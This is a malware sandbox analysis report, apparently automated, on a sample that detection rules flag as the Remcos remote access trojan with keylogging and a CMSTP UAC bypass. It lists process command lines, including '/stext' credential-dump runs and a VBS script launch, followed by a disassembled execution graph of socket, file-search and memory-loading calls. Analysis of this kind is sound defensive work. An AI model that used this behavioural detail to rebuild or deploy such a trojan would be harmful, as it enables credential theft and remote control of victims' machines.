                                                                                          Path:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe"
                                                                                          Imagebase:0x400000
                                                                                          File size:493'568 bytes
                                                                                          MD5 hash:A0453AB39FF4D213A85B94F1AD4478AC
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:3
                                                                                          Start time:03:09:26
                                                                                          Start date:15/01/2025
                                                                                          Path:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\qxczkdlwbpxfphwlhdzbevcnbfmmhv"
                                                                                          Imagebase:0x400000
                                                                                          File size:493'568 bytes
                                                                                          MD5 hash:A0453AB39FF4D213A85B94F1AD4478AC
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:4
                                                                                          Start time:03:09:26
                                                                                          Start date:15/01/2025
                                                                                          Path:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\brikkvwyoxpsrokpqoucoiwwktwnigvpl"
                                                                                          Imagebase:0x400000
                                                                                          File size:493'568 bytes
                                                                                          MD5 hash:A0453AB39FF4D213A85B94F1AD4478AC
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:5
                                                                                          Start time:03:09:26
                                                                                          Start date:15/01/2025
                                                                                          Path:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\dtvcl"
                                                                                          Imagebase:0x400000
                                                                                          File size:493'568 bytes
                                                                                          MD5 hash:A0453AB39FF4D213A85B94F1AD4478AC
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:6
                                                                                          Start time:03:09:34
                                                                                          Start date:15/01/2025
                                                                                          Path:C:\Windows\SysWOW64\wscript.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs"
                                                                                          Imagebase:0xb0000
                                                                                          File size:147'456 bytes
                                                                                          MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          Disassembly

                                                                                          Reset < >

                                                                                            Execution Graph

                                                                                            Execution Coverage:5.1%
                                                                                            Dynamic/Decrypted Code Coverage:3.8%
                                                                                            Signature Coverage:19.1%
                                                                                            Total number of Nodes:1821
                                                                                            Total number of Limit Nodes:54
                                                                                            execution_graph 52283 44eac6 52284 44ead1 52283->52284 52285 44eaf9 52284->52285 52286 44eaea 52284->52286 52287 44eb08 52285->52287 52305 455783 27 API calls 2 library calls 52285->52305 52304 445564 20 API calls __dosmaperr 52286->52304 52292 44bbce 52287->52292 52291 44eaef ___scrt_fastfail 52293 44bbe6 52292->52293 52294 44bbdb 52292->52294 52296 44bbee 52293->52296 52302 44bbf7 _strftime 52293->52302 52312 446d0f 21 API calls 3 library calls 52294->52312 52306 446cd5 52296->52306 52298 44bc21 RtlReAllocateHeap 52300 44bbe3 52298->52300 52298->52302 52299 44bbfc 52313 445564 20 API calls __dosmaperr 52299->52313 52300->52291 52302->52298 52302->52299 52314 442410 7 API calls 2 library calls 52302->52314 52304->52291 52305->52287 52307 446ce0 RtlFreeHeap 52306->52307 52308 446d09 _free 52306->52308 52307->52308 52309 446cf5 52307->52309 52308->52300 52315 445564 20 API calls __dosmaperr 52309->52315 52311 446cfb GetLastError 52311->52308 52312->52300 52313->52300 52314->52302 52315->52311 52316 415836 52327 401d64 52316->52327 52318 41584b 52332 401fbd 52318->52332 52321 401d64 28 API calls 52322 415863 52321->52322 52323 401fbd 28 API calls 52322->52323 52324 41586b 52323->52324 52336 411bc5 52324->52336 52328 401d6c 52327->52328 52331 401d74 52328->52331 52355 401fff 28 API calls 52328->52355 52331->52318 52333 401fcc 52332->52333 52356 402501 52333->52356 52335 401fea 52335->52321 52361 4041f1 52336->52361 52338 411bd9 52368 40428c connect 52338->52368 52342 411bfa 52432 4027cb 52342->52432 52344 411c04 52435 404468 52344->52435 52348 411c16 52454 4045d5 52348->52454 52351 401eea 26 API calls 52352 411c2c 52351->52352 52353 401eea 26 API calls 52352->52353 52354 411c34 52353->52354 52357 40250d 52356->52357 52359 40252b 52357->52359 52360 40261a 28 API calls 52357->52360 52359->52335 52360->52359 52362 404206 socket 52361->52362 52363 4041fd 52361->52363 52365 404220 52362->52365 52366 404224 CreateEventW 52362->52366 52469 404262 WSAStartup 52363->52469 52365->52338 52366->52338 52367 404202 52367->52362 52367->52365 52369 4043e1 52368->52369 52370 4042b3 52368->52370 52371 404343 52369->52371 52372 4043e7 WSAGetLastError 52369->52372 52370->52371 52373 4042e8 52370->52373 52470 404cbf 52370->52470 52428 4027ec 52371->52428 52372->52371 52374 4043f7 52372->52374 52502 42035c 27 API calls 52373->52502 52376 4042f7 52374->52376 52377 4043fc 52374->52377 52382 401f66 28 API calls 52376->52382 52507 41be81 30 API calls 52377->52507 52379 4042d4 52474 401f66 52379->52474 52381 4042f0 52381->52376 52385 404306 52381->52385 52386 404448 52382->52386 52384 40440b 52508 404c9e 28 API calls 52384->52508 52392 404315 52385->52392 52393 40434c 52385->52393 52389 401f66 28 API calls 52386->52389 52394 404457 52389->52394 52391 404418 52395 401f66 28 API calls 52391->52395 52396 401f66 28 API calls 52392->52396 52504 42113f 56 API calls 52393->52504 52397 41a891 79 API calls 52394->52397 52399 404427 52395->52399 52400 404324 52396->52400 52397->52371 52402 41a891 79 API calls 52399->52402 52403 401f66 28 API calls 52400->52403 52401 404354 52404 404389 52401->52404 52405 404359 52401->52405 52406 40442c 52402->52406 52409 404333 52403->52409 52506 4204f5 28 API calls 52404->52506 52407 401f66 28 API calls 52405->52407 52408 401eea 26 API calls 52406->52408 52411 404368 52407->52411 52408->52371 52412 41a891 79 API calls 52409->52412 52414 401f66 28 API calls 52411->52414 52415 404338 52412->52415 52413 404391 52416 4043be CreateEventW CreateEventW 52413->52416 52418 401f66 28 API calls 52413->52418 52417 404377 52414->52417 52503 41de20 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 52415->52503 52416->52371 52419 41a891 79 API calls 52417->52419 52421 4043a7 52418->52421 52422 40437c 52419->52422 52423 401f66 28 API calls 52421->52423 52505 42079d 54 API calls 52422->52505 52425 4043b6 52423->52425 52426 41a891 79 API calls 52425->52426 52427 4043bb 52426->52427 52427->52416 52429 4027f8 52428->52429 52430 402e78 28 API calls 52429->52430 52431 402814 52430->52431 52431->52342 52540 401e9b 52432->52540 52434 4027d9 52434->52344 52436 40447b 52435->52436 52544 404be8 52436->52544 52438 404490 ctype 52439 404507 WaitForSingleObject 52438->52439 52440 4044e7 52438->52440 52442 40451d 52439->52442 52441 4044f9 send 52440->52441 52443 404542 52441->52443 52548 420725 56 API calls 52442->52548 52445 401eea 26 API calls 52443->52445 52447 40454a 52445->52447 52446 404530 SetEvent 52446->52443 52448 401eea 26 API calls 52447->52448 52449 404552 52448->52449 52450 401eea 52449->52450 52452 4021b9 52450->52452 52451 4021e8 52451->52348 52452->52451 52554 40262e 52452->52554 52458 4045ec 52454->52458 52459 404666 52458->52459 52463 401eea 26 API calls 52458->52463 52562 43aa9c 52458->52562 52569 40455b 52458->52569 52575 401f86 52458->52575 52579 401eef 52458->52579 52583 404688 52458->52583 52596 4047eb WaitForSingleObject 52459->52596 52463->52458 52464 401eea 26 API calls 52465 404676 52464->52465 52466 401eea 26 API calls 52465->52466 52467 40467f 52466->52467 52467->52351 52469->52367 52471 404ccb 52470->52471 52509 402e78 52471->52509 52473 404cee 52473->52379 52475 401f6e 52474->52475 52518 402301 52475->52518 52478 41a891 52479 41a942 52478->52479 52480 41a8a7 GetLocalTime 52478->52480 52482 401eea 26 API calls 52479->52482 52481 404cbf 28 API calls 52480->52481 52483 41a8e9 52481->52483 52484 41a94a 52482->52484 52527 405ce6 52483->52527 52486 401eea 26 API calls 52484->52486 52488 41a952 52486->52488 52487 41a8f5 52489 4027cb 28 API calls 52487->52489 52488->52373 52490 41a901 52489->52490 52491 405ce6 28 API calls 52490->52491 52492 41a90d 52491->52492 52530 406478 76 API calls 52492->52530 52494 41a91b 52495 401eea 26 API calls 52494->52495 52496 41a927 52495->52496 52497 401eea 26 API calls 52496->52497 52498 41a930 52497->52498 52499 401eea 26 API calls 52498->52499 52500 41a939 52499->52500 52501 401eea 26 API calls 52500->52501 52501->52479 52502->52381 52503->52371 52504->52401 52505->52415 52506->52413 52507->52384 52508->52391 52511 402e85 52509->52511 52510 402ea9 52510->52473 52511->52510 52512 402e98 52511->52512 52514 402eae 52511->52514 52516 403445 28 API calls 52512->52516 52514->52510 52517 40225b 26 API calls 52514->52517 52516->52510 52517->52510 52519 40230d 52518->52519 52522 402325 52519->52522 52521 401f80 52521->52478 52523 40232f 52522->52523 52525 40233a 52523->52525 52526 40294a 28 API calls 52523->52526 52525->52521 52526->52525 52531 404bc4 52527->52531 52529 405cf4 52529->52487 52530->52494 52532 404bd0 52531->52532 52535 40245c 52532->52535 52534 404be4 52534->52529 52536 402469 52535->52536 52538 402478 52536->52538 52539 402ad3 28 API calls 52536->52539 52538->52534 52539->52538 52541 401ea7 52540->52541 52542 40245c 28 API calls 52541->52542 52543 401eb9 52542->52543 52543->52434 52545 404bf0 52544->52545 52549 404c0c 52545->52549 52547 404c06 52547->52438 52548->52446 52550 404c16 52549->52550 52552 404c21 52550->52552 52553 404d07 28 API calls 52550->52553 52552->52547 52553->52552 52557 402bee 52554->52557 52556 40263b 52556->52451 52558 402bfb 52557->52558 52559 402c08 _Deallocate 52557->52559 52561 4015d8 26 API calls 2 library calls 52558->52561 52559->52556 52561->52559 52567 446d0f _strftime 52562->52567 52563 446d4d 52610 445564 20 API calls __dosmaperr 52563->52610 52564 446d38 RtlAllocateHeap 52566 446d4b 52564->52566 52564->52567 52566->52458 52567->52563 52567->52564 52609 442410 7 API calls 2 library calls 52567->52609 52570 404592 recv 52569->52570 52571 404565 WaitForSingleObject 52569->52571 52573 4045a5 52570->52573 52611 420761 56 API calls 52571->52611 52573->52458 52574 404581 SetEvent 52574->52573 52576 401f8e 52575->52576 52577 402325 28 API calls 52576->52577 52578 401fa4 52577->52578 52578->52458 52580 401efe 52579->52580 52582 401f0a 52580->52582 52612 4021b9 52580->52612 52582->52458 52593 4046a3 52583->52593 52584 4047d8 52585 401eea 26 API calls 52584->52585 52586 4047e1 52585->52586 52586->52458 52587 401eea 26 API calls 52587->52593 52588 401fbd 28 API calls 52588->52593 52591 403b60 28 API calls 52591->52593 52592 401eef 26 API calls 52592->52593 52593->52584 52593->52587 52593->52588 52593->52591 52593->52592 52616 402654 52593->52616 52619 411c38 52593->52619 52663 401ebd 52593->52663 52597 404805 SetEvent CloseHandle 52596->52597 52598 40481c closesocket 52596->52598 52599 40466d 52597->52599 52600 404829 52598->52600 52599->52464 52601 40483f 52600->52601 53187 404ab1 83 API calls 52600->53187 52603 404851 WaitForSingleObject 52601->52603 52604 404892 SetEvent CloseHandle 52601->52604 53188 41de20 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 52603->53188 52604->52599 52606 404860 SetEvent WaitForSingleObject 53189 41de20 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 52606->53189 52608 404878 SetEvent CloseHandle CloseHandle 52608->52604 52609->52567 52610->52566 52611->52574 52614 4021c6 52612->52614 52613 4021e8 52613->52582 52614->52613 52615 40262e 26 API calls 52614->52615 52615->52613 52667 402c1a 52616->52667 52620 411c4a 52619->52620 52680 403b60 52620->52680 52623 401fbd 28 API calls 52624 411c6c 52623->52624 52625 401fbd 28 API calls 52624->52625 52626 411c7b 52625->52626 52683 41b1ce 52626->52683 52629 411d38 52846 401d8c 52629->52846 52631 401d64 28 API calls 52633 411ca0 52631->52633 52632 411d41 52634 401eea 26 API calls 52632->52634 52635 401fbd 28 API calls 52633->52635 52636 411d4a 52634->52636 52637 411ca8 52635->52637 52638 401eea 26 API calls 52636->52638 52639 401d64 28 API calls 52637->52639 52640 411d52 52638->52640 52641 411cb8 52639->52641 52640->52593 52642 401fbd 28 API calls 52641->52642 52643 411cc0 52642->52643 52644 401d64 28 API calls 52643->52644 52645 411cd0 52644->52645 52646 401fbd 28 API calls 52645->52646 52647 411cd8 52646->52647 52648 401d64 28 API calls 52647->52648 52649 411ce8 52648->52649 52650 401fbd 28 API calls 52649->52650 52651 411cf0 52650->52651 52652 401d64 28 API calls 52651->52652 52653 411d00 52652->52653 52654 401fbd 28 API calls 52653->52654 52655 411d08 52654->52655 52656 401d64 28 API calls 52655->52656 52657 411d1b 52656->52657 52658 401fbd 28 API calls 52657->52658 52659 411d23 52658->52659 52704 411d59 GetModuleFileNameW 52659->52704 52662 4047eb 98 API calls 52662->52629 52665 401ec9 52663->52665 52664 401ee4 CreateEventA CreateThread WaitForSingleObject CloseHandle 52664->52593 53040 414d2d 52664->53040 52665->52664 52666 402325 28 API calls 52665->52666 52666->52664 52670 403340 52667->52670 52672 403348 52670->52672 52671 402662 52671->52593 52672->52671 52674 4038c2 52672->52674 52677 4038cb 52674->52677 52678 401eea 26 API calls 52677->52678 52679 4038ca 52678->52679 52679->52672 52852 403c30 52680->52852 52703 41b1e1 52683->52703 52684 41b251 52685 401eea 26 API calls 52684->52685 52686 41b283 52685->52686 52687 401eea 26 API calls 52686->52687 52689 41b28b 52687->52689 52688 41b253 52690 403b60 28 API calls 52688->52690 52692 401eea 26 API calls 52689->52692 52693 41b25f 52690->52693 52691 403b60 28 API calls 52691->52703 52694 411c84 52692->52694 52695 401eef 26 API calls 52693->52695 52694->52629 52694->52631 52697 41b268 52695->52697 52696 401eef 26 API calls 52696->52703 52699 401eea 26 API calls 52697->52699 52698 401eea 26 API calls 52698->52703 52700 41b270 52699->52700 52869 41c1b4 28 API calls 52700->52869 52703->52684 52703->52688 52703->52691 52703->52696 52703->52698 52868 41c1b4 28 API calls 52703->52868 52726 411d84 52704->52726 52705 41ad43 42 API calls 52705->52726 52706 40c854 32 API calls 52706->52726 52707 401eea 26 API calls 52707->52726 52708 403cdc 28 API calls 52708->52726 52709 4028cf 28 API calls 52709->52726 52710 41789c 31 API calls 52710->52726 52711 411ec2 Sleep 52711->52726 52712 403b40 28 API calls 52712->52726 52713 411f64 Sleep 52713->52726 52714 403cbb 28 API calls 52714->52726 52715 401e13 26 API calls 52715->52726 52716 412006 Sleep 52716->52726 52717 41b825 32 API calls 52717->52726 52718 412068 DeleteFileW 52718->52726 52719 41209f DeleteFileW 52719->52726 52720 4120f1 Sleep 52720->52726 52721 4120db DeleteFileW 52721->52726 52722 41216a 52723 401e13 26 API calls 52722->52723 52724 412176 52723->52724 52725 401e13 26 API calls 52724->52725 52727 412182 52725->52727 52726->52705 52726->52706 52726->52707 52726->52708 52726->52709 52726->52710 52726->52711 52726->52712 52726->52713 52726->52714 52726->52715 52726->52716 52726->52717 52726->52718 52726->52719 52726->52720 52726->52721 52726->52722 52730 412136 Sleep 52726->52730 52728 401e13 26 API calls 52727->52728 52729 41218e 52728->52729 52870 40b027 52729->52870 52732 401e13 26 API calls 52730->52732 52737 412146 52732->52737 52733 4121a1 52735 401fbd 28 API calls 52733->52735 52734 401e13 26 API calls 52734->52737 52736 4121c1 52735->52736 52874 4124cf 52736->52874 52737->52726 52737->52734 52739 412168 52737->52739 52739->52729 52742 4121d8 52743 4121fd 52742->52743 52744 41234c 52742->52744 52746 41b0d3 28 API calls 52743->52746 52890 41b0d3 52744->52890 52748 412209 52746->52748 52901 41af51 52748->52901 52749 4027ec 28 API calls 52751 41238a 52749->52751 52753 4027cb 28 API calls 52751->52753 52755 412399 52753->52755 52754 4027ec 28 API calls 52756 41224e 52754->52756 52757 4027cb 28 API calls 52755->52757 52758 4027cb 28 API calls 52756->52758 52759 4123a5 52757->52759 52760 41225d 52758->52760 52762 4027cb 28 API calls 52759->52762 52761 4027cb 28 API calls 52760->52761 52764 41226c 52761->52764 52763 4123b4 52762->52763 52765 4027cb 28 API calls 52763->52765 52766 4027cb 28 API calls 52764->52766 52767 4123c3 52765->52767 52768 41227b 52766->52768 52769 4027cb 28 API calls 52767->52769 52770 4027cb 28 API calls 52768->52770 52771 4123d2 52769->52771 52772 41228a 52770->52772 52773 4027cb 28 API calls 52771->52773 52774 4027cb 28 API calls 52772->52774 52775 4123e1 52773->52775 52776 412296 52774->52776 52894 40275c 52775->52894 52778 4027cb 28 API calls 52776->52778 52780 4122a2 52778->52780 52779 4123eb 52781 404468 60 API calls 52779->52781 52782 40275c 28 API calls 52780->52782 52783 4123f8 52781->52783 52784 4122b1 52782->52784 52785 401eea 26 API calls 52783->52785 52786 4027cb 28 API calls 52784->52786 52787 412404 52785->52787 52788 4122bd 52786->52788 52789 401eea 26 API calls 52787->52789 52790 40275c 28 API calls 52788->52790 52791 412410 52789->52791 52792 4122c7 52790->52792 52794 401eea 26 API calls 52791->52794 52793 404468 60 API calls 52792->52793 52796 4122d4 52793->52796 52795 41241c 52794->52795 52797 401eea 26 API calls 52795->52797 52798 401eea 26 API calls 52796->52798 52799 412428 52797->52799 52800 4122dd 52798->52800 52801 401eea 26 API calls 52799->52801 52802 401eea 26 API calls 52800->52802 52803 412431 52801->52803 52804 4122e6 52802->52804 52805 401eea 26 API calls 52803->52805 52806 401eea 26 API calls 52804->52806 52807 41243a 52805->52807 52808 4122ef 52806->52808 52809 401eea 26 API calls 52807->52809 52810 401eea 26 API calls 52808->52810 52811 412340 52809->52811 52812 4122f8 52810->52812 52814 401eea 26 API calls 52811->52814 52813 401eea 26 API calls 52812->52813 52815 412304 52813->52815 52816 41244c 52814->52816 52817 401eea 26 API calls 52815->52817 52818 401e13 26 API calls 52816->52818 52819 412310 52817->52819 52820 412458 52818->52820 52821 401eea 26 API calls 52819->52821 52822 401eea 26 API calls 52820->52822 52823 41231c 52821->52823 52825 412464 52822->52825 52824 401eea 26 API calls 52823->52824 52827 412328 52824->52827 52826 401eea 26 API calls 52825->52826 52828 412470 52826->52828 52829 401eea 26 API calls 52827->52829 52830 401eea 26 API calls 52828->52830 52831 412334 52829->52831 52832 41247c 52830->52832 52833 401eea 26 API calls 52831->52833 52834 401eea 26 API calls 52832->52834 52833->52811 52835 412488 52834->52835 52836 401eea 26 API calls 52835->52836 52837 412494 52836->52837 52838 401eea 26 API calls 52837->52838 52839 4124a0 52838->52839 52840 401eea 26 API calls 52839->52840 52841 4124ac 52840->52841 52842 401eea 26 API calls 52841->52842 52843 4124b8 52842->52843 52844 401eea 26 API calls 52843->52844 52845 411d28 52844->52845 52845->52662 52847 40200a 52846->52847 52848 402654 26 API calls 52847->52848 52851 40203a 52847->52851 52849 40202b 52848->52849 53039 4026ba 26 API calls _Deallocate 52849->53039 52851->52632 52853 403c39 52852->52853 52856 403c59 52853->52856 52857 403c68 52856->52857 52862 4032a4 52857->52862 52859 403c74 52860 402325 28 API calls 52859->52860 52861 403b73 52860->52861 52861->52623 52863 4032b0 52862->52863 52864 4032ad 52862->52864 52867 4032b6 28 API calls 52863->52867 52864->52859 52868->52703 52869->52684 52871 40b02f 52870->52871 52906 40b04b 52871->52906 52873 40b045 52873->52733 52876 4124de 52874->52876 52884 41250d 52874->52884 52875 41251c 52914 403b40 52875->52914 52911 410be5 52876->52911 52881 401eea 26 API calls 52883 4121cc 52881->52883 52886 401e13 52883->52886 52884->52875 52918 10001c5b 52884->52918 52888 402121 52886->52888 52887 402150 52887->52742 52888->52887 53025 402718 26 API calls _Deallocate 52888->53025 52891 41b0e0 52890->52891 52892 401f86 28 API calls 52891->52892 52893 412355 52892->52893 52893->52749 52898 40276b 52894->52898 52895 4027ad 52896 401e9b 28 API calls 52895->52896 52897 4027ab 52896->52897 52897->52779 52898->52895 52899 4027a2 52898->52899 53026 402ee5 28 API calls 52899->53026 53027 440e5e 52901->53027 52904 401f66 28 API calls 52905 41221e 52904->52905 52905->52754 52907 40b055 52906->52907 52909 40b060 52907->52909 52910 40b138 28 API calls 52907->52910 52909->52873 52910->52909 52923 410bf1 52911->52923 52915 403b48 52914->52915 52974 403b7a 52915->52974 52919 10001c6b ___scrt_fastfail 52918->52919 52983 100012ee 52919->52983 52921 10001c87 52921->52875 52922 410e65 28 API calls ___crtLCMapStringA 52922->52884 52954 410691 52923->52954 52925 410c10 52927 410691 SetLastError 52925->52927 52941 410cf7 SetLastError 52925->52941 52951 410bed 52925->52951 52929 410c37 52927->52929 52928 410c97 GetNativeSystemInfo 52930 410cae 52928->52930 52929->52928 52929->52929 52929->52941 52929->52951 52930->52941 52957 410b96 VirtualAlloc 52930->52957 52932 410cd6 52933 410cfe GetProcessHeap HeapAlloc 52932->52933 52967 410b96 VirtualAlloc 52932->52967 52934 410d15 52933->52934 52935 410d27 52933->52935 52968 410bad VirtualFree 52934->52968 52938 410691 SetLastError 52935->52938 52940 410d70 52938->52940 52939 410cee 52939->52933 52939->52941 52942 410e1d 52940->52942 52958 410b96 VirtualAlloc 52940->52958 52941->52951 52969 410f88 GetProcessHeap HeapFree 52942->52969 52945 410d89 ctype 52959 4106a4 SetLastError ctype ___scrt_fastfail 52945->52959 52947 410db5 52947->52942 52960 410a4d SetLastError SetLastError 52947->52960 52949 410ddc 52949->52942 52961 410841 52949->52961 52951->52922 52952 410de7 52952->52942 52952->52951 52953 410e12 SetLastError 52952->52953 52953->52942 52955 4106a0 52954->52955 52956 410695 SetLastError 52954->52956 52955->52925 52956->52925 52957->52932 52958->52945 52959->52947 52960->52949 52962 410868 52961->52962 52964 410969 52962->52964 52966 410957 52962->52966 52970 4107ab 52962->52970 52963 4107ab VirtualProtect 52963->52964 52964->52952 52966->52963 52967->52939 52968->52941 52969->52951 52971 4107b5 52970->52971 52972 4107c0 52970->52972 52971->52972 52973 4107fa VirtualProtect 52971->52973 52972->52962 52973->52972 52975 403b86 52974->52975 52978 403b9e 52975->52978 52977 403b5a 52977->52881 52979 403ba8 52978->52979 52981 403bb3 52979->52981 52982 403cfd 28 API calls 52979->52982 52981->52977 52982->52981 52984 10001324 ___scrt_fastfail 52983->52984 52985 100013b7 GetEnvironmentVariableW 52984->52985 53009 100010f1 52985->53009 52988 100010f1 57 API calls 52989 10001465 52988->52989 52990 100010f1 57 API calls 52989->52990 52991 10001479 52990->52991 52992 100010f1 57 API calls 52991->52992 52993 1000148d 52992->52993 52994 100010f1 57 API calls 52993->52994 52995 100014a1 52994->52995 52996 100010f1 57 API calls 52995->52996 52997 100014b5 lstrlenW 52996->52997 52998 100014d9 lstrlenW 52997->52998 53008 100014d2 52997->53008 52999 100010f1 57 API calls 52998->52999 53000 10001501 lstrlenW lstrcatW 52999->53000 53001 100010f1 57 API calls 53000->53001 53002 10001539 lstrlenW lstrcatW 53001->53002 53003 100010f1 57 API calls 53002->53003 53004 1000156b lstrlenW lstrcatW 53003->53004 53005 100010f1 57 API calls 53004->53005 53006 1000159d lstrlenW lstrcatW 53005->53006 53007 100010f1 57 API calls 53006->53007 53007->53008 53008->52921 53010 10001118 ___scrt_fastfail 53009->53010 53011 10001129 lstrlenW 53010->53011 53022 10002c40 53011->53022 53014 10001177 lstrlenW FindFirstFileW 53016 100011a0 53014->53016 53017 100011e1 53014->53017 53015 10001168 lstrlenW 53015->53014 53018 100011c7 FindNextFileW 53016->53018 53021 100011aa 53016->53021 53017->52988 53018->53016 53020 100011da FindClose 53018->53020 53020->53017 53021->53018 53024 10001000 57 API calls ___scrt_fastfail 53021->53024 53023 10001148 lstrcatW lstrlenW 53022->53023 53023->53014 53023->53015 53024->53021 53025->52887 53026->52897 53028 440e6a 53027->53028 53031 440c5a 53028->53031 53032 440c71 53031->53032 53035 41af72 53032->53035 53037 445564 20 API calls __dosmaperr 53032->53037 53034 440ca8 53038 43aa37 26 API calls _Deallocate 53034->53038 53035->52904 53037->53034 53038->53035 